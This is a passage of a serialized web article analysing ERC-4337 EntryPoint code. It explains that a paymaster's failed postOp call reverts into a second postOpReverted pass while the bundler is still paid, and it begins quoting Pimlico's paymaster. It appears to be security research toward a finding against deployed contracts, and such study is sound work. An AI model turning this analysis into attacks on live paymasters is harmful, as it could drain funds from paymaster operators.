IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":213,"props":106120,"children":106121},{"class":215,"line":3887},[106122],{"type":23,"tag":213,"props":106123,"children":106124},{"style":220},[106125],{"type":28,"value":58938},{"type":23,"tag":213,"props":106127,"children":106128},{"class":215,"line":3918},[106129],{"type":23,"tag":213,"props":106130,"children":106131},{"style":220},[106132],{"type":28,"value":3444},{"type":23,"tag":213,"props":106134,"children":106135},{"class":215,"line":3926},[106136],{"type":23,"tag":213,"props":106137,"children":106138},{"emptyLinePlaceholder":18},[106139],{"type":28,"value":530},{"type":23,"tag":213,"props":106141,"children":106142},{"class":215,"line":3986},[106143,106147],{"type":23,"tag":213,"props":106144,"children":106145},{"style":1362},[106146],{"type":28,"value":103169},{"type":23,"tag":213,"props":106148,"children":106149},{"style":220},[106150],{"type":28,"value":1375},{"type":23,"tag":213,"props":106152,"children":106153},{"class":215,"line":9132},[106154,106158,106162,106166,106170,106174,106178,106182,106186],{"type":23,"tag":213,"props":106155,"children":106156},{"style":290},[106157],{"type":28,"value":103181},{"type":23,"tag":213,"props":106159,"children":106160},{"style":220},[106161],{"type":28,"value":105345},{"type":23,"tag":213,"props":106163,"children":106164},{"style":274},[106165],{"type":28,"value":3190},{"type":23,"tag":213,"props":106167,"children":106168},{"style":220},[106169],{"type":28,"value":105354},{"type":23,"tag":213,"props":106171,"children":106172},{"style":274},[106173],{"type":28,"value":4423},{"type":23,"tag":213,"props":106175,"children":106176},{"style":230},[106177],{"type":28,"value":105363},{"type":23,"tag":213,"props":106179,"children":106180},{"style":220},[106181],{"type":28,"value":2698},{"type":23,"tag":213,"props":106183,"children":106184},{"style":274},[106185],{"type":28,"value":2703},{"type":23,"tag":213,"props":106187,"children":106188},{"style":220},[106189],{"type":28,"value":105376},{"type":23,"tag":213,"props":106191,"children":106192},{"class":215,"line":9150},[106193,106197,106201],{"type":23,"tag":213,"props":106194,"children":106195},{"style":1362},[106196],{"type":28,"value":79129},{"type":23,"tag":213,"props":106198,"children":106199},{"style":257},[106200],{"type":28,"value":105485},{"type":23,"tag":213,"props":106202,"children":106203},{"style":220},[106204],{"type":28,"value":106205},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":213,"props":106207,"children":106208},{"class":215,"line":9195},[106209],{"type":23,"tag":213,"props":106210,"children":106211},{"style":220},[106212],{"type":28,"value":3444},{"type":23,"tag":213,"props":106214,"children":106215},{"class":215,"line":9301},[106216],{"type":23,"tag":213,"props":106217,"children":106218},{"style":220},[106219],{"type":28,"value":2875},{"type":23,"tag":24,"props":106221,"children":106222},{},[106223,106225,106230,106232,106237,106239,106245,106247,106253,106255,106260,106262,106272],{"type":28,"value":106224},"We observe that, in the happy path, ",{"type":23,"tag":209,"props":106226,"children":106228},{"className":106227},[],[106229],{"type":28,"value":105576},{"type":28,"value":106231}," is expected to not only execute the actual ",{"type":23,"tag":209,"props":106233,"children":106235},{"className":106234},[],[106236],{"type":28,"value":102235},{"type":28,"value":106238}," call, but also call ",{"type":23,"tag":209,"props":106240,"children":106242},{"className":106241},[],[106243],{"type":28,"value":106244},"_postExecution",{"type":28,"value":106246},". This means that the third failure handling path, which passes ",{"type":23,"tag":209,"props":106248,"children":106250},{"className":106249},[],[106251],{"type":28,"value":106252},"postOpReverted",{"type":28,"value":106254}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":209,"props":106256,"children":106258},{"className":106257},[],[106259],{"type":28,"value":106244},{"type":28,"value":106261}," call ",{"type":23,"tag":95,"props":106263,"children":106264},{},[106265,106267],{"type":28,"value":106266},"inside ",{"type":23,"tag":209,"props":106268,"children":106270},{"className":106269},[],[106271],{"type":28,"value":105576},{"type":28,"value":124},{"type":23,"tag":24,"props":106274,"children":106275},{},[106276,106278,106283],{"type":28,"value":106277},"Let's examine the ",{"type":23,"tag":209,"props":106279,"children":106281},{"className":106280},[],[106282],{"type":28,"value":106244},{"type":28,"value":106284}," code to understand where the revert might occur.",{"type":23,"tag":202,"props":106286,"children":106288},{"className":4570,"code":106287,"language":4569,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[106289],{"type":23,"tag":209,"props":106290,"children":106291},{"__ignoreMap":7},[106292,106307,106332,106351,106370,106382,106419,106426,106458,106475,106490,106506,106530,106555,106579,106601,106619,106636,106644,106662,106678,106711,106729,106736,106743,106751,106767,106799,106821,106828,106835,106842],{"type":23,"tag":213,"props":106293,"children":106294},{"class":215,"line":216},[106295,106299,106303],{"type":23,"tag":213,"props":106296,"children":106297},{"style":230},[106298],{"type":28,"value":89884},{"type":23,"tag":213,"props":106300,"children":106301},{"style":257},[106302],{"type":28,"value":105485},{"type":23,"tag":213,"props":106304,"children":106305},{"style":220},[106306],{"type":28,"value":1511},{"type":23,"tag":213,"props":106308,"children":106309},{"class":215,"line":226},[106310,106315,106319,106323,106328],{"type":23,"tag":213,"props":106311,"children":106312},{"style":230},[106313],{"type":28,"value":106314}," IPaymaster",{"type":23,"tag":213,"props":106316,"children":106317},{"style":220},[106318],{"type":28,"value":124},{"type":23,"tag":213,"props":106320,"children":106321},{"style":268},[106322],{"type":28,"value":103845},{"type":23,"tag":213,"props":106324,"children":106325},{"style":268},[106326],{"type":28,"value":106327}," mode",{"type":23,"tag":213,"props":106329,"children":106330},{"style":220},[106331],{"type":28,"value":944},{"type":23,"tag":213,"props":106333,"children":106334},{"class":215,"line":524},[106335,106339,106343,106347],{"type":23,"tag":213,"props":106336,"children":106337},{"style":230},[106338],{"type":28,"value":104793},{"type":23,"tag":213,"props":106340,"children":106341},{"style":230},[106342],{"type":28,"value":103133},{"type":23,"tag":213,"props":106344,"children":106345},{"style":268},[106346],{"type":28,"value":105781},{"type":23,"tag":213,"props":106348,"children":106349},{"style":220},[106350],{"type":28,"value":944},{"type":23,"tag":213,"props":106352,"children":106353},{"class":215,"line":533},[106354,106358,106362,106366],{"type":23,"tag":213,"props":106355,"children":106356},{"style":290},[106357],{"type":28,"value":105752},{"type":23,"tag":213,"props":106359,"children":106360},{"style":230},[106361],{"type":28,"value":103133},{"type":23,"tag":213,"props":106363,"children":106364},{"style":268},[106365],{"type":28,"value":76393},{"type":23,"tag":213,"props":106367,"children":106368},{"style":220},[106369],{"type":28,"value":944},{"type":23,"tag":213,"props":106371,"children":106372},{"class":215,"line":543},[106373,106377],{"type":23,"tag":213,"props":106374,"children":106375},{"style":290},[106376],{"type":28,"value":90062},{"type":23,"tag":213,"props":106378,"children":106379},{"style":268},[106380],{"type":28,"value":106381}," actualGas\n",{"type":23,"tag":213,"props":106383,"children":106384},{"class":215,"line":551},[106385,106389,106394,106399,106403,106407,106411,106415],{"type":23,"tag":213,"props":106386,"children":106387},{"style":220},[106388],{"type":28,"value":105809},{"type":23,"tag":213,"props":106390,"children":106391},{"style":230},[106392],{"type":28,"value":106393},"internal",{"type":23,"tag":213,"props":106395,"children":106396},{"style":230},[106397],{"type":28,"value":106398}," virtual",{"type":23,"tag":213,"props":106400,"children":106401},{"style":1362},[106402],{"type":28,"value":76046},{"type":23,"tag":213,"props":106404,"children":106405},{"style":220},[106406],{"type":28,"value":400},{"type":23,"tag":213,"props":106408,"children":106409},{"style":290},[106410],{"type":28,"value":46219},{"type":23,"tag":213,"props":106412,"children":106413},{"style":268},[106414],{"type":28,"value":103874},{"type":23,"tag":213,"props":106416,"children":106417},{"style":220},[106418],{"type":28,"value":14870},{"type":23,"tag":213,"props":106420,"children":106421},{"class":215,"line":570},[106422],{"type":23,"tag":213,"props":106423,"children":106424},{"style":220},[106425],{"type":28,"value":104854},{"type":23,"tag":213,"props":106427,"children":106428},{"class":215,"line":655},[106429,106433,106438,106442,106446,106450,106454],{"type":23,"tag":213,"props":106430,"children":106431},{"style":1362},[106432],{"type":28,"value":58854},{"type":23,"tag":213,"props":106434,"children":106435},{"style":220},[106436],{"type":28,"value":106437}," (paymaster ",{"type":23,"tag":213,"props":106439,"children":106440},{"style":274},[106441],{"type":28,"value":8660},{"type":23,"tag":213,"props":106443,"children":106444},{"style":290},[106445],{"type":28,"value":6342},{"type":23,"tag":213,"props":106447,"children":106448},{"style":220},[106449],{"type":28,"value":265},{"type":23,"tag":213,"props":106451,"children":106452},{"style":514},[106453],{"type":28,"value":4116},{"type":23,"tag":213,"props":106455,"children":106456},{"style":220},[106457],{"type":28,"value":35251},{"type":23,"tag":213,"props":106459,"children":106460},{"class":215,"line":1176},[106461,106466,106470],{"type":23,"tag":213,"props":106462,"children":106463},{"style":220},[106464],{"type":28,"value":106465}," refundAddress ",{"type":23,"tag":213,"props":106467,"children":106468},{"style":274},[106469],{"type":28,"value":3190},{"type":23,"tag":213,"props":106471,"children":106472},{"style":220},[106473],{"type":28,"value":106474}," mUserOp.sender;\n",{"type":23,"tag":213,"props":106476,"children":106477},{"class":215,"line":1202},[106478,106482,106486],{"type":23,"tag":213,"props":106479,"children":106480},{"style":220},[106481],{"type":28,"value":70647},{"type":23,"tag":213,"props":106483,"children":106484},{"style":1362},[106485],{"type":28,"value":3412},{"type":23,"tag":213,"props":106487,"children":106488},{"style":220},[106489],{"type":28,"value":1375},{"type":23,"tag":213,"props":106491,"children":106492},{"class":215,"line":1758},[106493,106497,106501],{"type":23,"tag":213,"props":106494,"children":106495},{"style":220},[106496],{"type":28,"value":106465},{"type":23,"tag":213,"props":106498,"children":106499},{"style":274},[106500],{"type":28,"value":3190},{"type":23,"tag":213,"props":106502,"children":106503},{"style":220},[106504],{"type":28,"value":106505}," paymaster;\n",{"type":23,"tag":213,"props":106507,"children":106508},{"class":215,"line":1767},[106509,106513,106518,106522,106526],{"type":23,"tag":213,"props":106510,"children":106511},{"style":1362},[106512],{"type":28,"value":103573},{"type":23,"tag":213,"props":106514,"children":106515},{"style":220},[106516],{"type":28,"value":106517}," (context.length ",{"type":23,"tag":213,"props":106519,"children":106520},{"style":274},[106521],{"type":28,"value":10545},{"type":23,"tag":213,"props":106523,"children":106524},{"style":514},[106525],{"type":28,"value":517},{"type":23,"tag":213,"props":106527,"children":106528},{"style":220},[106529],{"type":28,"value":14870},{"type":23,"tag":213,"props":106531,"children":106532},{"class":215,"line":1789},[106533,106538,106542,106546,106550],{"type":23,"tag":213,"props":106534,"children":106535},{"style":220},[106536],{"type":28,"value":106537}," actualGasCost ",{"type":23,"tag":213,"props":106539,"children":106540},{"style":274},[106541],{"type":28,"value":3190},{"type":23,"tag":213,"props":106543,"children":106544},{"style":220},[106545],{"type":28,"value":105345},{"type":23,"tag":213,"props":106547,"children":106548},{"style":274},[106549],{"type":28,"value":1696},{"type":23,"tag":213,"props":106551,"children":106552},{"style":220},[106553],{"type":28,"value":106554}," gasPrice;\n",{"type":23,"tag":213,"props":106556,"children":106557},{"class":215,"line":1812},[106558,106562,106567,106571,106575],{"type":23,"tag":213,"props":106559,"children":106560},{"style":290},[106561],{"type":28,"value":103530},{"type":23,"tag":213,"props":106563,"children":106564},{"style":220},[106565],{"type":28,"value":106566}," postOpPreGas ",{"type":23,"tag":213,"props":106568,"children":106569},{"style":274},[106570],{"type":28,"value":3190},{"type":23,"tag":213,"props":106572,"children":106573},{"style":230},[106574],{"type":28,"value":105363},{"type":23,"tag":213,"props":106576,"children":106577},{"style":220},[106578],{"type":28,"value":3759},{"type":23,"tag":213,"props":106580,"children":106581},{"class":215,"line":1838},[106582,106587,106592,106596],{"type":23,"tag":213,"props":106583,"children":106584},{"style":1362},[106585],{"type":28,"value":106586}," if",{"type":23,"tag":213,"props":106588,"children":106589},{"style":220},[106590],{"type":28,"value":106591}," (mode ",{"type":23,"tag":213,"props":106593,"children":106594},{"style":274},[106595],{"type":28,"value":15743},{"type":23,"tag":213,"props":106597,"children":106598},{"style":220},[106599],{"type":28,"value":106600}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":213,"props":106602,"children":106603},{"class":215,"line":1851},[106604,106609,106614],{"type":23,"tag":213,"props":106605,"children":106606},{"style":1362},[106607],{"type":28,"value":106608}," try",{"type":23,"tag":213,"props":106610,"children":106611},{"style":257},[106612],{"type":28,"value":106613}," IPaymaster",{"type":23,"tag":213,"props":106615,"children":106616},{"style":220},[106617],{"type":28,"value":106618},"(paymaster).postOp{\n",{"type":23,"tag":213,"props":106620,"children":106621},{"class":215,"line":1864},[106622,106627,106631],{"type":23,"tag":213,"props":106623,"children":106624},{"style":220},[106625],{"type":28,"value":106626}," gas",{"type":23,"tag":213,"props":106628,"children":106629},{"style":274},[106630],{"type":28,"value":277},{"type":23,"tag":213,"props":106632,"children":106633},{"style":220},[106634],{"type":28,"value":106635}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":213,"props":106637,"children":106638},{"class":215,"line":1890},[106639],{"type":23,"tag":213,"props":106640,"children":106641},{"style":220},[106642],{"type":28,"value":106643}," }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":213,"props":106645,"children":106646},{"class":215,"line":1899},[106647,106652,106657],{"type":23,"tag":213,"props":106648,"children":106649},{"style":537},[106650],{"type":28,"value":106651}," // ",{"type":23,"tag":213,"props":106653,"children":106654},{"style":230},[106655],{"type":28,"value":106656},"solhint-disable",{"type":23,"tag":213,"props":106658,"children":106659},{"style":537},[106660],{"type":28,"value":106661},"-next-line no-empty-blocks\n",{"type":23,"tag":213,"props":106663,"children":106664},{"class":215,"line":1912},[106665,106670,106674],{"type":23,"tag":213,"props":106666,"children":106667},{"style":220},[106668],{"type":28,"value":106669}," {} ",{"type":23,"tag":213,"props":106671,"children":106672},{"style":1362},[106673],{"type":28,"value":48463},{"type":23,"tag":213,"props":106675,"children":106676},{"style":220},[106677],{"type":28,"value":1375},{"type":23,"tag":213,"props":106679,"children":106680},{"class":215,"line":1921},[106681,106686,106690,106695,106699,106703,106707],{"type":23,"tag":213,"props":106682,"children":106683},{"style":290},[106684],{"type":28,"value":106685}," bytes",{"type":23,"tag":213,"props":106687,"children":106688},{"style":230},[106689],{"type":28,"value":103133},{"type":23,"tag":213,"props":106691,"children":106692},{"style":220},[106693],{"type":28,"value":106694}," reason ",{"type":23,"tag":213,"props":106696,"children":106697},{"style":274},[106698],{"type":28,"value":3190},{"type":23,"tag":213,"props":106700,"children":106701},{"style":220},[106702],{"type":28,"value":105904},{"type":23,"tag":213,"props":106704,"children":106705},{"style":257},[106706],{"type":28,"value":105995},{"type":23,"tag":213,"props":106708,"children":106709},{"style":220},[106710],{"type":28,"value":106000},{"type":23,"tag":213,"props":106712,"children":106713},{"class":215,"line":3879},[106714,106719,106724],{"type":23,"tag":213,"props":106715,"children":106716},{"style":1362},[106717],{"type":28,"value":106718}," revert",{"type":23,"tag":213,"props":106720,"children":106721},{"style":257},[106722],{"type":28,"value":106723}," PostOpReverted",{"type":23,"tag":213,"props":106725,"children":106726},{"style":220},[106727],{"type":28,"value":106728},"(reason);\n",{"type":23,"tag":213,"props":106730,"children":106731},{"class":215,"line":3887},[106732],{"type":23,"tag":213,"props":106733,"children":106734},{"style":220},[106735],{"type":28,"value":71031},{"type":23,"tag":213,"props":106737,"children":106738},{"class":215,"line":3918},[106739],{"type":23,"tag":213,"props":106740,"children":106741},{"style":220},[106742],{"type":28,"value":71116},{"type":23,"tag":213,"props":106744,"children":106745},{"class":215,"line":3926},[106746],{"type":23,"tag":213,"props":106747,"children":106748},{"style":537},[106749],{"type":28,"value":106750}," // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":213,"props":106752,"children":106753},{"class":215,"line":3986},[106754,106758,106762],{"type":23,"tag":213,"props":106755,"children":106756},{"style":537},[106757],{"type":28,"value":103595},{"type":23,"tag":213,"props":106759,"children":106760},{"style":230},[106761],{"type":28,"value":66813},{"type":23,"tag":213,"props":106763,"children":106764},{"style":537},[106765],{"type":28,"value":106766}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":213,"props":106768,"children":106769},{"class":215,"line":9132},[106770,106774,106779,106783,106787,106791,106795],{"type":23,"tag":213,"props":106771,"children":106772},{"style":290},[106773],{"type":28,"value":103530},{"type":23,"tag":213,"props":106775,"children":106776},{"style":220},[106777],{"type":28,"value":106778}," postOpGasUsed ",{"type":23,"tag":213,"props":106780,"children":106781},{"style":274},[106782],{"type":28,"value":3190},{"type":23,"tag":213,"props":106784,"children":106785},{"style":220},[106786],{"type":28,"value":106566},{"type":23,"tag":213,"props":106788,"children":106789},{"style":274},[106790],{"type":28,"value":4423},{"type":23,"tag":213,"props":106792,"children":106793},{"style":230},[106794],{"type":28,"value":105363},{"type":23,"tag":213,"props":106796,"children":106797},{"style":220},[106798],{"type":28,"value":3759},{"type":23,"tag":213,"props":106800,"children":106801},{"class":215,"line":9150},[106802,106807,106811,106816],{"type":23,"tag":213,"props":106803,"children":106804},{"style":220},[106805],{"type":28,"value":106806}," postOpUnusedGasPenalty ",{"type":23,"tag":213,"props":106808,"children":106809},{"style":274},[106810],{"type":28,"value":3190},{"type":23,"tag":213,"props":106812,"children":106813},{"style":257},[106814],{"type":28,"value":106815}," _getUnusedGasPenalty",{"type":23,"tag":213,"props":106817,"children":106818},{"style":220},[106819],{"type":28,"value":106820},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":213,"props":106822,"children":106823},{"class":215,"line":9195},[106824],{"type":23,"tag":213,"props":106825,"children":106826},{"style":220},[106827],{"type":28,"value":71124},{"type":23,"tag":213,"props":106829,"children":106830},{"class":215,"line":9301},[106831],{"type":23,"tag":213,"props":106832,"children":106833},{"style":220},[106834],{"type":28,"value":58938},{"type":23,"tag":213,"props":106836,"children":106837},{"class":215,"line":23557},[106838],{"type":23,"tag":213,"props":106839,"children":106840},{"style":220},[106841],{"type":28,"value":104854},{"type":23,"tag":213,"props":106843,"children":106844},{"class":215,"line":23592},[106845],{"type":23,"tag":213,"props":106846,"children":106847},{"style":220},[106848],{"type":28,"value":2875},{"type":23,"tag":24,"props":106850,"children":106851},{},[106852,106854,106859,106861,106867,106869,106875,106877,106882,106884,106889,106891,106896,106898,106903,106905,106910,106912,106917],{"type":28,"value":106853},"It turns out that if the ",{"type":23,"tag":209,"props":106855,"children":106857},{"className":106856},[],[106858],{"type":28,"value":102434},{"type":28,"value":106860}," call fails, it will revert with ",{"type":23,"tag":209,"props":106862,"children":106864},{"className":106863},[],[106865],{"type":28,"value":106866},"PostOpReverted",{"type":28,"value":106868},". However, as we can see in the previous code of ",{"type":23,"tag":209,"props":106870,"children":106872},{"className":106871},[],[106873],{"type":28,"value":106874},"_executeUserOp",{"type":28,"value":106876},", even though ",{"type":23,"tag":209,"props":106878,"children":106880},{"className":106879},[],[106881],{"type":28,"value":105576},{"type":28,"value":106883}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":209,"props":106885,"children":106887},{"className":106886},[],[106888],{"type":28,"value":106244},{"type":28,"value":106890}," call with ",{"type":23,"tag":209,"props":106892,"children":106894},{"className":106893},[],[106895],{"type":28,"value":106252},{"type":28,"value":106897}," mode, and it won't try to call ",{"type":23,"tag":209,"props":106899,"children":106901},{"className":106900},[],[106902],{"type":28,"value":102434},{"type":28,"value":106904}," again. This means the ",{"type":23,"tag":209,"props":106906,"children":106908},{"className":106907},[],[106909],{"type":28,"value":102295},{"type":28,"value":106911}," still gets paid for submitting the failed ",{"type":23,"tag":209,"props":106913,"children":106915},{"className":106914},[],[106916],{"type":28,"value":102235},{"type":28,"value":124},{"type":23,"tag":24,"props":106919,"children":106920},{},[106921,106923,106928,106930,106935,106937,106944],{"type":28,"value":106922},"Now that we understand this behavior where ",{"type":23,"tag":209,"props":106924,"children":106926},{"className":106925},[],[106927],{"type":28,"value":102434},{"type":28,"value":106929}," is allowed to fail while the ",{"type":23,"tag":209,"props":106931,"children":106933},{"className":106932},[],[106934],{"type":28,"value":102295},{"type":28,"value":106936}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":36,"props":106938,"children":106941},{"href":106939,"rel":106940},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[40],[106942],{"type":28,"value":106943},"Pimlico",{"type":28,"value":124},{"type":23,"tag":202,"props":106946,"children":106948},{"className":4570,"code":106947,"language":4569,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[106949],{"type":23,"tag":209,"props":106950,"children":106951},{"__ignoreMap":7},[106952,106967,106984,107004,107020,107032,107039,107046,107053,107084,107091,107116,107124,107131,107138,107167,107174,107190,107212,107219,107235,107285,107292,107308,107316,107349,107382,107390,107397,107404,107447,107454,107503,107529,107536,107543,107560],{"type":23,"tag":213,"props":106953,"children":106954},{"class":215,"line":216},[106955,106959,106963],{"type":23,"tag":213,"props":106956,"children":106957},{"style":230},[106958],{"type":28,"value":89884},{"type":23,"tag":213,"props":106960,"children":106961},{"style":257},[106962],{"type":28,"value":103836},{"type":23,"tag":213,"props":106964,"children":106965},{"style":220},[106966],{"type":28,"value":1511},{"type":23,"tag":213,"props":106968,"children":106969},{"class":215,"line":226},[106970,106975,106979],{"type":23,"tag":213,"props":106971,"children":106972},{"style":230},[106973],{"type":28,"value":106974}," PostOpMode",{"type":23,"tag":213,"props":106976,"children":106977},{"style":220},[106978],{"type":28,"value":424},{"type":23,"tag":213,"props":106980,"children":106981},{"style":537},[106982],{"type":28,"value":106983},"/* mode */\n",{"type":23,"tag":213,"props":106985,"children":106986},{"class":215,"line":524},[106987,106991,106995,107000],{"type":23,"tag":213,"props":106988,"children":106989},{"style":290},[106990],{"type":28,"value":105752},{"type":23,"tag":213,"props":106992,"children":106993},{"style":230},[106994],{"type":28,"value":103065},{"type":23,"tag":213,"props":106996,"children":106997},{"style":268},[106998],{"type":28,"value":106999}," _context",{"type":23,"tag":213,"props":107001,"children":107002},{"style":220},[107003],{"type":28,"value":944},{"type":23,"tag":213,"props":107005,"children":107006},{"class":215,"line":533},[107007,107011,107016],{"type":23,"tag":213,"props":107008,"children":107009},{"style":290},[107010],{"type":28,"value":90062},{"type":23,"tag":213,"props":107012,"children":107013},{"style":268},[107014],{"type":28,"value":107015}," _actualGasCost",{"type":23,"tag":213,"props":107017,"children":107018},{"style":220},[107019],{"type":28,"value":944},{"type":23,"tag":213,"props":107021,"children":107022},{"class":215,"line":543},[107023,107027],{"type":23,"tag":213,"props":107024,"children":107025},{"style":290},[107026],{"type":28,"value":90062},{"type":23,"tag":213,"props":107028,"children":107029},{"style":268},[107030],{"type":28,"value":107031}," _actualUserOpFeePerGas\n",{"type":23,"tag":213,"props":107033,"children":107034},{"class":215,"line":551},[107035],{"type":23,"tag":213,"props":107036,"children":107037},{"style":220},[107038],{"type":28,"value":1918},{"type":23,"tag":213,"props":107040,"children":107041},{"class":215,"line":570},[107042],{"type":23,"tag":213,"props":107043,"children":107044},{"style":230},[107045],{"type":28,"value":103104},{"type":23,"tag":213,"props":107047,"children":107048},{"class":215,"line":655},[107049],{"type":23,"tag":213,"props":107050,"children":107051},{"style":220},[107052],{"type":28,"value":2725},{"type":23,"tag":213,"props":107054,"children":107055},{"class":215,"line":1176},[107056,107061,107065,107070,107074,107079],{"type":23,"tag":213,"props":107057,"children":107058},{"style":220},[107059],{"type":28,"value":107060}," ERC20PostOpContext ",{"type":23,"tag":213,"props":107062,"children":107063},{"style":230},[107064],{"type":28,"value":76025},{"type":23,"tag":213,"props":107066,"children":107067},{"style":220},[107068],{"type":28,"value":107069}," ctx ",{"type":23,"tag":213,"props":107071,"children":107072},{"style":274},[107073],{"type":28,"value":3190},{"type":23,"tag":213,"props":107075,"children":107076},{"style":257},[107077],{"type":28,"value":107078}," _parsePostOpContext",{"type":23,"tag":213,"props":107080,"children":107081},{"style":220},[107082],{"type":28,"value":107083},"(_context);\n",{"type":23,"tag":213,"props":107085,"children":107086},{"class":215,"line":1202},[107087],{"type":23,"tag":213,"props":107088,"children":107089},{"emptyLinePlaceholder":18},[107090],{"type":28,"value":530},{"type":23,"tag":213,"props":107092,"children":107093},{"class":215,"line":1758},[107094,107098,107103,107107,107112],{"type":23,"tag":213,"props":107095,"children":107096},{"style":290},[107097],{"type":28,"value":90062},{"type":23,"tag":213,"props":107099,"children":107100},{"style":220},[107101],{"type":28,"value":107102}," expectedPenaltyGasCost ",{"type":23,"tag":213,"props":107104,"children":107105},{"style":274},[107106],{"type":28,"value":3190},{"type":23,"tag":213,"props":107108,"children":107109},{"style":257},[107110],{"type":28,"value":107111}," _expectedPenaltyGasCost",{"type":23,"tag":213,"props":107113,"children":107114},{"style":220},[107115],{"type":28,"value":1511},{"type":23,"tag":213,"props":107117,"children":107118},{"class":215,"line":1767},[107119],{"type":23,"tag":213,"props":107120,"children":107121},{"style":220},[107122],{"type":28,"value":107123}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":213,"props":107125,"children":107126},{"class":215,"line":1789},[107127],{"type":23,"tag":213,"props":107128,"children":107129},{"style":220},[107130],{"type":28,"value":2831},{"type":23,"tag":213,"props":107132,"children":107133},{"class":215,"line":1812},[107134],{"type":23,"tag":213,"props":107135,"children":107136},{"emptyLinePlaceholder":18},[107137],{"type":28,"value":530},{"type":23,"tag":213,"props":107139,"children":107140},{"class":215,"line":1838},[107141,107145,107149,107153,107158,107162],{"type":23,"tag":213,"props":107142,"children":107143},{"style":290},[107144],{"type":28,"value":90062},{"type":23,"tag":213,"props":107146,"children":107147},{"style":220},[107148],{"type":28,"value":104160},{"type":23,"tag":213,"props":107150,"children":107151},{"style":274},[107152],{"type":28,"value":3190},{"type":23,"tag":213,"props":107154,"children":107155},{"style":220},[107156],{"type":28,"value":107157}," _actualGasCost ",{"type":23,"tag":213,"props":107159,"children":107160},{"style":274},[107161],{"type":28,"value":2703},{"type":23,"tag":213,"props":107163,"children":107164},{"style":220},[107165],{"type":28,"value":107166}," expectedPenaltyGasCost;\n",{"type":23,"tag":213,"props":107168,"children":107169},{"class":215,"line":1851},[107170],{"type":23,"tag":213,"props":107171,"children":107172},{"emptyLinePlaceholder":18},[107173],{"type":28,"value":530},{"type":23,"tag":213,"props":107175,"children":107176},{"class":215,"line":1864},[107177,107181,107186],{"type":23,"tag":213,"props":107178,"children":107179},{"style":290},[107180],{"type":28,"value":90062},{"type":23,"tag":213,"props":107182,"children":107183},{"style":220},[107184],{"type":28,"value":107185}," costInToken ",{"type":23,"tag":213,"props":107187,"children":107188},{"style":274},[107189],{"type":28,"value":14761},{"type":23,"tag":213,"props":107191,"children":107192},{"class":215,"line":1890},[107193,107198,107203,107207],{"type":23,"tag":213,"props":107194,"children":107195},{"style":257},[107196],{"type":28,"value":107197}," getCostInToken",{"type":23,"tag":213,"props":107199,"children":107200},{"style":220},[107201],{"type":28,"value":107202},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":213,"props":107204,"children":107205},{"style":274},[107206],{"type":28,"value":2703},{"type":23,"tag":213,"props":107208,"children":107209},{"style":220},[107210],{"type":28,"value":107211}," 